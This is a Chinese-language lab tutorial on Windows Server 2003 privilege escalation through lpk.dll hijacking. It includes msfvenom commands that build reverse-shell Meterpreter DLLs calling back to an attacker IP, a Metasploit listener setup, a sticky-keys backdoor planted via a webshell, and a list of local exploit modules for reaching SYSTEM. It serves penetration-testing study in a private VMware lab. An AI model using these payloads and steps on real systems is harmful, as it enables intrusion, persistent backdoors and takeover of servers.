我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、LPK.DDL劫持提权
      • 1、sethc.exe是什么:
      • 2、lpk.dll出现的背景:
      • 3、Windows查找dll文件的目录顺序:
      • 4、lpk.dll劫持是什么:
      • 5、T00ls Lpk Sethc生成dll后门:
      • 6、MSF生成dll反弹sehll马:
      • 7、提权过程:
        • (1)实验环境:
        • (2)靶机链接:
        • (3)实验过程:前提-3389开启状态
        •    附:Window Server 2003设置软件开启自启
        •    附:Windows Server 2003-MSF本地提权的五个模块

一、LPK.DDL劫持提权

1、sethc.exe是什么:

       sethc.exe(sethc)是一个进程文件,按5下shift后,windows就执行system32下的sethc.exe,用来开启粘滞键。粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要作用是方便Shift与其他键的组合使用。 粘滞键可以先按一个键位,再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。
一般电脑连按五次shift会出现粘滞键提示。开启粘滞键的时候,任务栏右边的系统托盘区会出现粘滞键图标。如果想关闭粘滞键,只需将使用粘滞键前的钩消除就可以。

2、lpk.dll出现的背景:

    (1)因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的 系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。

    (2)Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。

    (3)意思就是:可执行文件都会加载lpk.dll这个文件,windows加载程序会先找程序所在目录是否存在此lpk.dll文件,如果没有就执行system32的lpk.dll

3、Windows查找dll文件的目录顺序:

    (1)应用程序所在目录
    (2)系统目录。 GetSystemDirectory 返回的目录,通常是系统盘\Windows\System32
    (3)16位系统目录。该项只是为了向前兼容的处理,可以不考虑
    (4)Windows目录。 GetWindowsDirectory 返回的目录,通常是系统盘\Windows
    (5)当前目录。GetCurrentDirectory返回的目录
    (6)环境变量PATH中所有目录。

4、lpk.dll劫持是什么:

    (1)lpk.dll是存放在windows系统下的一个非常重要的dll文件。DLL英文全称Dynamic Link Library,中文意思是:动态链接库。其位于system32目录下,特点是每个可执行文件运行之前都要加载此dll,而windows系统特性是先判断可执行文件所在目录是否存在此dll,再判断system32目录,由此基于lpk的dll劫持就产生了,T00ls Lpk Sethc工具只是利用这一特性而扩展编写的!

5、T00ls Lpk Sethc生成dll后门:

       攻击者将该工具生成的lpk.dll上传至靶机的任意目录,受害者随后运行对应目录下的任何一个exe文件,随后将会触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。

6、MSF生成dll反弹sehll马:

    (1)攻击方制作dll反弹shell马:

        msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x64.dll #64位反弹Shell马

        msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x86.dll #32位反弹Shell马

    (2)攻击方使用dll反弹shell马:

        msfconsole #打开MSF

        use exploit/multi/handler #加载侦听模块

        set payload windows/meterpreter/reverse_tcp #设置成我们之前生成木马时使用的payload

        set lhost 192.168.97.130 #设置攻击方的IP地址为监听地址

        set lport 12345 #设置监听端口

        run #开启侦听

7、提权过程:

(1)实验环境:

1.靶机环境:(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】(2)脚本语言环境:php/asp语言环境存在2.攻击机:(1)虚拟机Win7【192.168.97.130】(2)Firefox+Burpsuite+蚁剑+大马3.网络环境:(1)VMware搭建的NAT网络

(2)靶机链接:

        URL:http://upload.moonteam.com/upload_4.php

(3)实验过程:前提-3389开启状态

第一步:访问靶机链接,通过MIME突破白名单限制,上传php一句,得到webshell。


【以上过程省略】,下面是提权过程

第二步:攻击机上通过Tools Lpk Sethc v4.0攻击,设置热键cl以及启动密码后点击点击生成lpk.dll后门


第三步: 通过webshell,我们发现WinWebMail目录是邮箱服务器的安装目录,我们可以把lpk.dll后门植入,当再该软件exe进程下次开启的时候,就会自动调用当前目录下的伪造的动态链接库lpk.dll后门


第四步:等待系统重启后,WinWebMail服务将会自动启动,然后该进程就会自动加载当前目录下的lpk.dll后门,成功触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。

远程连接靶机,键入5此shift触发粘滞键:

键入CL,触发后门:

输入后门密码,进入后门,输入命令whoami,发现已经是system权限了:

第五步: 通过上面的后门程序,我们可以创建管理员组用户,然后通过3389登录进去,又发现到mysql的目录,我们可以把MSF生成的反弹Shell的lpk.dll放到mysql.exe进程的目录下,当系统重启后会自动启用该进程,从而触发伪造的lpk.dll,反弹shell到攻击机上

上传MSF生成的lpk.dll到靶机的mysql.exe目录下:

攻击机开启侦听:

等待靶机系统重启后,触发lpk.dll,成功反弹meterpreter shell,并且发现权限很低:


第六步:依次键入shell、systeminfo,查看操作系统版本,发现是winserver2003 x86,我们可以在msf中搜索可以提取的模块,加以利用

第七步:依次输入以下命令,搜索可以提权的模块,加以利用

exit #退出meterpreter的shell

background #挂机当前session 1


search 2003·#搜索关于2003的exp

如下所示,带有local的一般都是本地提权:


use exploit/windows/local/ms11_080_afdjoinleaf #这里测试第一个exp
set session 1 #设置刚刚获得的session
set lhost 192.168.97.130 #攻击者IP
set lport 12345 #攻击者刚刚获得的session的端口
run #运行
getuid #获取当前id
如下所示,在session 1的基础上又获得了一个session 2,这里的新session 2是system权限:

#或者使用use exploit/windows/local/ms14_058_track_popup_menu模块
【开启了一个新session,进入新session直接就是system】【这个提权可以跟上一个提权并存】

#或者使用use exploit/windows/local/ms14_070_tcpip_ioctl模块
【开启了一个新session,进入新session直接就是system】【这个提权只能单独使用】

发现session关闭了,所以需要重新反弹shell,可以通过刚刚获得的远程桌面,双击mysqld.exe触发lpk.dll反弹shell

如下:成功提权

#或者使用use exploit/windows/local/ms_ndproxy
【没有开启新session】【需要手动进入原来session,getuid直接发现就是system权限】

#或者使用use exploit/windows/local/ppr_flatten_rec
【没有开启新session】【需要手动进入原来session,再去getsystem提权获得system权限】

   附:Window Server 2003设置软件开启自启

Window Server 2003如何设置软件的开启自启动,把软件或者快捷方式放入以下目录下即可:

   附:Windows Server 2003-MSF本地提权的五个模块

模块说明
use exploit/windows/local/ms11_080_afdjoinleaf开启了一个新session,进入新session直接就是system
use exploit/windows/local/ms14_058_track_popup_menu开启了一个新session,进入新session直接就是system,这个提权可以跟上一个提权并存
use exploit/windows/local/ms14_070_tcpip_ioctl开启了一个新session,进入新session直接就是system,这个提权只能单独使用
use exploit/windows/local/ms_ndproxy没有开启新session,需要手动进入原来session,直接getuid就是system权限
use exploit/windows/local/ppr_flatten_rec没有开启新session,需要手动进入原来session,再去getsystem提权